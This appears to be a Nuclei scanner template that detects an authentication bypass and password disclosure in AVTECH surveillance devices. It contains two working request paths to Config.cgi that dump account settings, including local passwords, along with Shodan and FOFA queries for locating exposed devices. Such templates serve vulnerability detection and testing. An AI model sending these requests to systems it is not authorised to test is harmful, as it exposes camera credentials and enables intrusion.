id: avtech-auth-bypass

info:
  name: AVTECH Video Surveillance Product - Authentication Bypass
  author: ritikchaddha
  severity: high
  description: |
    AVTECH Video Surveillance Products password disclosure through /cgi-bin/user/Config.cgi.
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: exposure,avtech,auth-bypass,password,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*"
      - "{{BaseURL}}/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Account.Maxuser='
          - 'Account.LocalPassword='
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100888a52fd7d6f416cdc331d68dc6d362da55a0a40d370064641ba3b8dfa73bf39022043b3caf7a83a78216fc1c3318fc0d9b9ad4884e869a337c609e50e93097c43fe:922c64590222798bb761d5b6d8e72950